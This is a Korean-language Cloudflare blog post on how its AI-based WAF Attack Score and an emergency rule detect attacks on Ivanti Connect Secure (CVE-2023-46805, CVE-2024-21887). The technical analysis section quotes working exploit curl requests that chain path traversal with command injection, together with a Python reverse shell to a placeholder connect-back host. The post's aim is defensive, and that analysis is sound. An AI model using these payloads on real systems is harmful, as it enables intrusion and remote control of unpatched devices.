구독해서 새 게시물에 대한 알림을 받으세요.

Cloudflare의 AI WAF가 Ivanti Connect Secure의 치명적인 zero-day 취약점을 선제적으로 감지한 방법

2024-01-23

3분 읽기
이 게시물은 English, 繁體中文, Français, Deutsch, 日本語, Português, Español简体中文로도 이용할 수 있습니다.

대부분의 WAF 공급자는 취약점이 발견되고 악용된 후에 대응하는 사후 대응 방식에 의존합니다. 하지만 Cloudflare에서는 잠재적인 위험에 선제적으로 대응하고 이를 위해 AI를 활용해야 한다고 믿습니다. 오늘은 중요한 취약점(CVE-2023-46805 및 CVE-2024-21887)의 최근 사례와 이 위협에 대응하기 위해 AI를 기반으로 한 Cloudflare의 Attack Score 및 WAF의 긴급 규칙을 공유하고자 합니다.

How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

위협: CVE-2023-46805 및 CVE-2024-21887

최근 AttackerKB에서는 Ivanti 제품에 영향을 미치는 인증 우회(CVE-2023-46805) 및 명령 삽입 취약점(CVE-2024-21887)을 공개하고 분석했습니다. 이 취약점은 영향을 받는 시스템에 대한 무단 액세스 및 제어로 이어질 수 있는 심각한 위험을 초래합니다. 다음 섹션에서는 이 취약점이 어떻게 악용될 수 있는지 설명하겠습니다.

기술적 분석

AttackerKB에서 설명한 것처럼, 공격자는 다음과 같은 명령을 사용하여 특수하게 조작된 요청을 대상 시스템에 보낼 수 있습니다.

이 명령은 일반적으로 인증으로 보호되는 엔드포인트(**/license/keys-status/)**를 대상으로 합니다. 그러나 공격자는 **/api/v1/totp/user-backup-code/../../license/keys-status/**를 포함하도록 URL을 조작하여 인증을 우회할 수 있습니다. 이 기법을 디렉터리 순회라고 합니다.

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

명령의 URL로 인코딩된 부분은 다음과 같이 Python 리버스 셸로 디코딩됩니다.

Python 리버스 셸은 공격자가 대상 시스템을 제어하는 방법입니다.

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

이 취약점은 시스템에서 node_name 매개변수를 처리하는 방식에 존재합니다. 공격자가 node_name의 값을 제어할 수 있다면 시스템에 명령을 삽입할 수 있습니다.

'node_name'에 대한 자세한 설명: 'node_name' 매개변수는 엔드포인트 api/v1/license/keys-status/path:node_name의 구성 요소입니다. 이 엔드포인트가 문제가 주로 발생하는 곳입니다.

공격자는 URI 경로 **/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;**로 GET 요청을 보낼 수  있으며, 여기서 CMD는 실행하고자 하는 명령어입니다. 세미콜론을 사용하여 요청에 이 명령을 지정할 수 있습니다. 시스템에서 명령이 올바르게 처리되도록 하려면 URL 인코딩이 되어 있어야 합니다.

AttackerKB의 블로그 게시물에 자세히 설명된 대로 또 다른 코드 삽입 취약점이 발견되었습니다. 이번에는 시스템의 다른 부분에서 발견된 인증된 명령 삽입과 관련된 문제입니다.

첫 번째 명령 삽입에 사용된 것과 동일한 Python 리버스 셸 페이로드가 여기에도 사용되어 취약점을 트리거하는 JSON 구조를 형성할 수 있습니다. 페이로드가 JSON이므로 URL로 인코딩할 필요가 없습니다.

/api/v1/system/maintenance/archiving/cloud-server-test-connection 엔드포인트는 인증이 필요하지만, 공격자는 앞서 언급한 디렉터리 순회 취약점과 연결하여 이를 우회할 수 있습니다. 공격자는 인증되지 않은 URI 경로 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection으로 구성하여 이 엔드포인트에 도달하고 취약점을 익스플로잇할 수 있습니다.

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

공격자는 인증되지 않은 운영 체제 명령을 실행하기 위해 다음과 같은 curl 요청을 사용합니다.

Cloudflare의 선제적 방어

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare WAF는 공격 우회가 발표되기도 전에 포착하기 위해 구축된 추가 AI 기반 계층인 WAF Attack Score라는 추가 AI 기반 계층에 의해 지원됩니다. Attack Score는 요청이 악의적인지 여부를 나타내는 점수를 제공하며, 지금까지는 다음과 같은 세 가지 주요 범주에 중점을 두었습니다. 바로 XSS, SQLi, 일부 RCE 변형(명령 삽입, ApacheLog4J 등)입니다. 점수는 1~99이며, 점수가 낮을수록 더 악의적인 요청입니다. 일반적으로 20점 미만의 모든 요청은 악의적인 것으로 간주됩니다.

위의 CVE-2023-46805 및 CVE-2024-21887의 익스플로잇 예시 결과를 Cloudflare의 대시보드(보안 > 이벤트)를 사용하여 살펴보겠습니다. Attack Score 분석 결과는 세 가지 개별 점수로 구성되며, 각 점수는 특정 공격 카테고리와의 관련성을 나타내는 레이블이 지정되어 있습니다. 이 세 가지 점수를 합산한 글로벌 점수("WAF Attack Score")도 있습니다. 공격이 카테고리와 일치하는 경우 글로벌 점수가 하위 점수 중 하나의 영향을 받는 경우도 있는데, 여기서는 원격 코드 실행 "WAF RCE Attack Score"가 지배적인 하위 점수임을 알 수 있습니다.

마찬가지로, 인증되지 않은 운영 체제 명령 요청의 경우, 우리는 악의적 요청 카테고리에 속하는 "WAF Attack Score: 19"를 AI 모델로부터 받았습니다. 예시 점수는 고정된 수치가 아니며, 유입되는 공격 유형에 따라 달라질 수 있습니다.

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

여기서 반가운 소식: Enterprise 및 Business 요금제 고객으로, WAF Attack Score가 활성화되고, Business 요금제에 대한 낮은 점수(예:  [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20) 또는 ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq "attack")를 차단하는 규칙이 함께 활성화된 경우, 취약점이 발표되기 전부터 지금까지 테스트된 잠재적인 취약점 익스플로잇으로부터 이미 보호되었다는 것입니다.

긴급 규칙 배포

이 중대한 취약점에 대응하기 위해 Cloudflare에서는 개념 증명이 공개된 후 24시간 이내인 2024년 1월 17일에 긴급 규칙을 발표했습니다. 이 규칙은 WAF를 위한 관리형 규칙의 일부로, 특히 CVE-2023-46805 및 Ivanti 제품과 관련된 추가 취약점인 CVE-2024-21887로 인한 위협을 대상으로 합니다. 이 규칙은 "Ivanti - 인증 우회, 명령 삽입 - CVE:CVE-2023-46805, CVE:CVE-2024-21887" 으로 명명되었으며, 이들 취약점을 악용하려는 시도를 차단하여 Cloudflare 사용자에게 추가적인 보안 계층을 제공하기 위해 개발되었습니다.

Cloudflare에서는 이들 규칙을 배포한 이후 높은 수준의 활동을 기록했습니다. 이 글을 작성하는 시점에 이 규칙은 18만 번 이상 트리거되었습니다.

.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}

Rule ID Description Default Action
New Managed Rule…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block
Legacy Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block

규칙 ID

설명

기본 동작

새 관리형 규칙…34ab53c5

Ivanti - 인증 우회, 명령 삽입 - CVE:CVE-2023-46805, CVE:CVE-2024-21887

차단

레거시 관리형 규칙100622

Ivanti - 인증 우회, 명령 삽입 - CVE:CVE-2023-46805, CVE:CVE-2024-21887

차단

시사점 및 모범 사례

CVE-2023-46805 및 CVE-2024-21887에 대한 Cloudflare의 대응은 강력한 보안 조치를 마련하는 것이 중요하다는 것을 강조합니다. Cloudflare의 서비스 중 특히 WAF를 사용하는 조직에서는 최적의 보호를 유지하기 위해 시스템을 최신 규칙 및 구성으로 업데이트하는 것을 권장합니다. 고객이 Attack Score를 사용하여 규칙을 배포해서 보안 태세를 개선할 것도 권장합니다. Attack Score에 대해 자세히 알아보려면 계정 팀에 문의하세요.

결론

CVE-2023-46805 및 CVE-2024-21887에 대한 대응을 예로 들면, AI를 사용하여 공격을 식별하고 차단하는 Cloudflare의 사이버 보안에 대한 선제적 접근 방식은 위협과 공격이 알려지고 취약점이 공개되기 전에 이를 식별하는 방법을 강조합니다. Cloudflare에서는 취약점을 지속해서 모니터링하고 신속하게 대응함으로써 점점 더 복잡해지는 디지털 환경에서 클라이언트가 보안을 유지할 수 있도록 보장합니다.

Cloudflare에서는 전체 기업 네트워크를 보호하고, 고객이 인터넷 규모의 애플리케이션을 효과적으로 구축하도록 지원하며, 웹 사이트와 인터넷 애플리케이션을 가속화하고, DDoS 공격을 막으며, 해커를 막고, Zero Trust로 향하는 고객의 여정을 지원합니다.

어떤 장치로든 1.1.1.1에 방문해 인터넷을 더 빠르고 안전하게 만들어 주는 Cloudflare의 무료 앱을 사용해 보세요.

더 나은 인터넷을 만들기 위한 Cloudflare의 사명을 자세히 알아보려면 여기에서 시작하세요. 새로운 커리어 경로를 찾고 있다면 채용 공고를 확인해 보세요.
VulnerabilitiesWAF RulesWAFWAF Attack ScoreZero Day Threats (KO)AI WAF

X에서 팔로우하기

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

관련 게시물

2024년 7월 09일 오후 12:00

RADIUS/UDP vulnerable to improved MD5 collision attack

The RADIUS protocol is commonly used to control administrative access to networking gear. Despite its importance, RADIUS hasn’t changed much in decades. We discuss an attack on RADIUS as a case study for why it’s important for legacy protocols to keep up with advancements in cryptography...